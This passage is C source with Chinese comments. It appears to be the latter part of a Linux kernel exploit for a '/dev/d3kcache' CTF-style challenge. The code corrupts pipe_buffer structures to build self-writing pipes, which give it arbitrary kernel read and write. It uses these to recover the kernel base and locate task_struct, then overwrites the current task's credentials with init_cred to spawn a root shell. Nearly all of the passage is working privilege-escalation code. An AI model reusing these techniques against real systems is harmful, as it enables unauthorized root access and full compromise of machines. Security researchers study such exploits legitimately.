    /* 让页面的指针在pipe_buffer中 */
    write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - 24 -3*sizeof(int));

    /* 释放第二级原始管道的页面 */
    log_info("[*] free second-level original pipe...");
    close(pipe_fd[snd_orig_pid][0]);
    close(pipe_fd[snd_orig_pid][1]);

    /* 尝试通过重新分配pipe_buffer重新命中第二级受害者页面 */
    log_info("[*] fcntl() to set the pipe_buffer on second-level victim page...");
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == snd_orig_pid || i == snd_vicitm_pid) {
            continue;
        }

        if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0) {
            printf("[x] failed to resize %d pipe!\n", i);
            err_exit("FAILED to re-alloc pipe_buffer!");
        }
    }

    /* 让一个pipe->bufs指向自身 */
    log_info("[*] hijacking the 2nd pipe_buffer on page to itself...");
    evil_pipe_buf.page = info_pipe_buf.page;
    evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.ops = info_pipe_buf.ops;
    evil_pipe_buf.flags = info_pipe_buf.flags;
    evil_pipe_buf.private = info_pipe_buf.private;

    write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* 检查第三级受害者管道 */
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == snd_orig_pid || i == snd_vicitm_pid) {
            continue;
        }

        read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
        if (page_ptr == evil_pipe_buf.page) {
            self_2nd_pipe_pid = i;
            printf(SUCCESS_MSG("[+] Found self-writing pipe: ") "\%d\n", 
                   self_2nd_pipe_pid);
            break;
        }
    }

    if (self_2nd_pipe_pid == -1) {
        err_exit("FAILED to build a self-writing pipe!");
    }

    /* 同样覆盖第3个pipe_buffer到这个页面 */
    log_info("[*] hijacking the 3rd pipe_buffer on page to itself...");
    evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

    write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
    write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* 检查第三级受害者管道 */
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == snd_orig_pid || i == snd_vicitm_pid
            || i == self_2nd_pipe_pid) {
            continue;
        }

        read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
        if (page_ptr == evil_pipe_buf.page) {
            self_3rd_pipe_pid = i;
            printf(SUCCESS_MSG("[+] Found another self-writing pipe: ") "%d\n",
                   self_3rd_pipe_pid);
            break;
        }
    }

    if (self_3rd_pipe_pid == -1) {
        err_exit("FAILED to build a self-writing pipe!");
    }

    /* 同样覆盖第4个pipe_buffer到这个页面 */
    log_info("[*] hijacking the 4th pipe_buffer on page to itself...");
    evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

    write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
    write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* 检查第三级受害者管道 */
    for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == snd_orig_pid || i == snd_vicitm_pid
            || i == self_2nd_pipe_pid || i== self_3rd_pipe_pid) {
            continue;
        }

        read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
        if (page_ptr == evil_pipe_buf.page) {
            self_4th_pipe_pid = i;
            printf(SUCCESS_MSG("[+] Found another self-writing pipe: ") "%d\n",
                   self_4th_pipe_pid);
            break;
        }
    }

    if (self_4th_pipe_pid == -1) {
        err_exit("FAILED to build a self-writing pipe!");
    }

    puts("");
}

struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
char temp_zero_buf[0x1000]= { '\0' };

/**
 * @brief 设置3个管道用于任意读写。
 * 我们需要建立一个循环来进行持续内存搜索:
 * - 2nd管道用于搜索
 * - 3rd管道用于改变4th管道
 * - 4th管道用于改变2nd和3rd管道
**/
void setup_evil_pipe(void)
{
    /* 初始化2nd,3rd和4th管道的初始值,仅用于恢复 */
    memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
    memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
    memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));

    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0xff0;

    /* 劫持第3个管道指向第4个 */
    evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
    evil_3rd_buf.len = 0;
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
    evil_4th_buf.len = 0;
}

ssize_t arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
    /* 要读取的页面 */
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0x1ff8;
    evil_2nd_buf.page = page_to_read;

    /* 劫持第4个管道指向第2个管道 */
    write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));

    /* 劫持第2个管道用于任意读取 */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_pid][1], 
          temp_zero_buf, 
          TRD_PIPE_BUF_SZ-sizeof(evil_2nd_buf));
    
    /* 劫持第3个管道指向第4个管道 */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    /* 读取数据 */
    return read(pipe_fd[self_2nd_pipe_pid][0], dst, 0xfff);
}

void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
    /* 要写入的页面 */
    evil_2nd_buf.page = page_to_write;
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0;

    /* 劫持第4个管道指向第2个管道 */
    write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));

    /* 劫持第2个管道用于任意读取,第3个管道指向第4个管道 */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_pid][1], 
          temp_zero_buf, 
          TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
    
    /* 劫持第3个管道指向第4个管道 */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    /* 将数据写入目标页面 */
    write(pipe_fd[self_2nd_pipe_pid][1], src, len);
}

/**
 * VII - 最终利用阶段配合任意读写
*/

size_t *tsk_buf, current_task_page, current_task, parent_task, buf[0x1000];


void info_leaking_by_arbitrary_pipe()
{
    size_t *comm_addr;
    ssize_t rlen;

    memset(buf, 0, sizeof(buf));

    log_info("[*] Setting up kernel arbitrary read & write...");
    setup_evil_pipe();

    /**
     * KASLR的粒度是256MB,而0x1000000大小的页面是1GB内存,
     * 所以我们可以简单地这样在一个小内存环境中获取vmemmap_base。
     * 对于大于1GB的内存,我们可以找到secondary_startup_64函数指针,
     * 它位于physmem_base + 0x9d000,即vmemmap_base[156]页面。
     * 如果函数指针不在那里,只需vmemmap_base -= 256MB并再次尝试。
     * 
     * 更多的是,如果我们在循环中无法读取内存,
     * 这意味着我们刚刚定位到了vmemmap_base前面的256MB,
     * 因此我们可以加上KASLR_GRANULARITY得到真正的基址。
     */
    vmemmap_base = (size_t) info_pipe_buf.page & KASLR_MASK;
    for (;;) {
        rlen = arbitrary_read_by_pipe(
            (struct page*) (vmemmap_base + 157 * 0x40),
            buf
        );

        if (buf[0] > KERNEL_BASE && ((buf[0] & 0xfff) < 0x100)) {
            kernel_base = buf[0] & PAGE_MASK;
            kernel_offset = kernel_base - KERNEL_BASE;
            printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"
                   "\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n", 
                   kernel_base, kernel_offset);
            break;
        }

        if (rlen < 0) {
            vmemmap_base += KASLR_GRANULARITY;
            break;
        }

        vmemmap_base -= KASLR_GRANULARITY;
    }
    printf(SUCCESS_MSG("[+] vmemmap_base: ") "0x%lx\n\n", vmemmap_base);

    /* 现在在内核内存中寻找task_struct */
    log_info("[*] Seeking task_struct in memory...");

    prctl(PR_SET_NAME, "arttnba3pwnn");

    /**
     * 对于内存小于256M的机器,我们可以简单地获得:
     *      page_offset_base = heap_leak & 0xfffffffff0000000;
     * 但这并不总是准确的,特别是在内存大于256M的机器上。
     * 所以我们需要找到另一种计算page_offset_base的方法。
     * 
     * 幸运的是task_struct::ptraced指向自身,所以我们可以通过vmemmap和当前task_struct来获取
     * page_offset_base,因为我们知道页面。
     * 
     * 注意不同字段的偏移量应该参考你的环境。
     */
    for (int i = 0; 1; i++) {
        arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40), buf);
    
        comm_addr = memmem(buf, 0xf00, "arttnba3pwnn", 12);
        if (comm_addr
            /* task_struct::cred */
            && (comm_addr[-2] > KERNEL_DIRECT_PHYSMEM_MAP_BASE)
            /* task_struct::real_cred */
            && (comm_addr[-3] > KERNEL_DIRECT_PHYSMEM_MAP_BASE)
            /* task_struct::read_parent */
            && (comm_addr[-57] > KERNEL_DIRECT_PHYSMEM_MAP_BASE)
            /* task_struct::parent */
            && (comm_addr[-56] > KERNEL_DIRECT_PHYSMEM_MAP_BASE)) {

            /* task_struct::read_parent */
            parent_task = comm_addr[-57];

            /* task_struct::ptraced */
            current_task = comm_addr[-50] - 2528;

            page_offset_base = (comm_addr[-50] & PAGE_MASK) - i * 0x1000;
            page_offset_base &= KASLR_MASK;

            printf(SUCCESS_MSG("[+] Found task_struct on page: ") "%p\n",
                   (struct page*) (vmemmap_base + i * 0x40));
            printf(SUCCESS_MSG("[+] page_offset_base: ") "0x%lx\n",
                   page_offset_base);
            printf(SUCCESS_MSG("[*] current task_struct's addr: ") "0x%lx\n\n",
                   current_task);
            break;
        }
    }
}

/**
 * @brief 查找init_task并复制一些东西到当前task_struct
*/
void privilege_escalation_by_task_overwrite(void)
{
    /* 寻找init_task,每个任务的最终父任务 */
    log_info("[*] Seeking for init_task...");

    for (;;) {
        size_t ptask_page_addr = direct_map_addr_to_page_addr(parent_task);

        tsk_buf = (size_t*) ((size_t) buf + (parent_task & 0xfff));

        arbitrary_read_by_pipe((struct page*) ptask_page_addr, buf);
        arbitrary_read_by_pipe((struct page*) (ptask_page_addr+0x40),&buf[512]);

        /* task_struct::real_parent */
        if (parent_task == tsk_buf[309]) {
            break;
        }

        parent_task = tsk_buf[309];
    }

    init_task = parent_task;
    init_cred = tsk_buf[363];
    init_nsproxy = tsk_buf[377];

    printf(SUCCESS_MSG("[+] Found init_task: ") "0x%lx\n", init_task);
    printf(SUCCESS_MSG("[+] Found init_cred: ") "0x%lx\n", init_cred);
    printf(SUCCESS_MSG("[+] Found init_nsproxy:") "0x%lx\n",init_nsproxy);

    /* 现在,更改当前task_struct以获得完整的root权限 :) */
    log_info("[*] Escalating ROOT privilege now...");

    current_task_page = direct_map_addr_to_page_addr(current_task);

    arbitrary_read_by_pipe((struct page*) current_task_page, buf);
    arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);

    tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));
    tsk_buf[363] = init_cred;
    tsk_buf[364] = init_cred;
    tsk_buf[377] = init_nsproxy;

    arbitrary_write_by_pipe((struct page*) current_task_page, buf, 0xff0);
    arbitrary_write_by_pipe((struct page*) (current_task_page+0x40),
                            &buf[512], 0xff0);

    log_success("[+] Done.\n");
    log_info("[*] checking for root...");

    get_root_shell();
}

void exploitation(int argc, char **argv, char **envp)
{
    /**
     * 步骤.O - 基础工作
     */

    save_status();

    /* 绑定核心到0 */
    bind_core(0);

    /* 设备文件 */
    dev_fd = open("/dev/d3kcache", O_RDWR);
    if (dev_fd < 0) {
        err_exit("FAILED to open /dev/d3kcache!");
    }

    /* 喷射pgv页面 */
    prepare_pgv_system();
    prepare_pgv_pages();

    /**
     * 步骤.I - 页面级堆风水以制造跨缓存off-by-null,
     * 使两个pipe_buffer指向相同的页面
     */
    corrupting_first_level_pipe_for_page_uaf();

    /**
     * 步骤.II - 重新分配受害者页面到pipe_buffer,
     * 泄露页面相关信息并构造第二级管道uaf
     */
    corrupting_second_level_pipe_for_pipe_uaf();

    /**
     * 步骤.III - 重新分配第二级受害者页面到pipe_buffer,
     * 构造三个自我页面指向的pipe_buffer 
     */
    building_self_writing_pipe();

    /**
     * 步骤.IV - 通过管道泄露基本信息
     */
    info_leaking_by_arbitrary_pipe();

    /* 默认:通过查找init_task并覆盖当前任务来获取root */
    privilege_escalation_by_task_overwrite();
}


int main(int argc, char **argv, char **envp)
{
    exploitation(argc, argv, envp);
    return 0;
}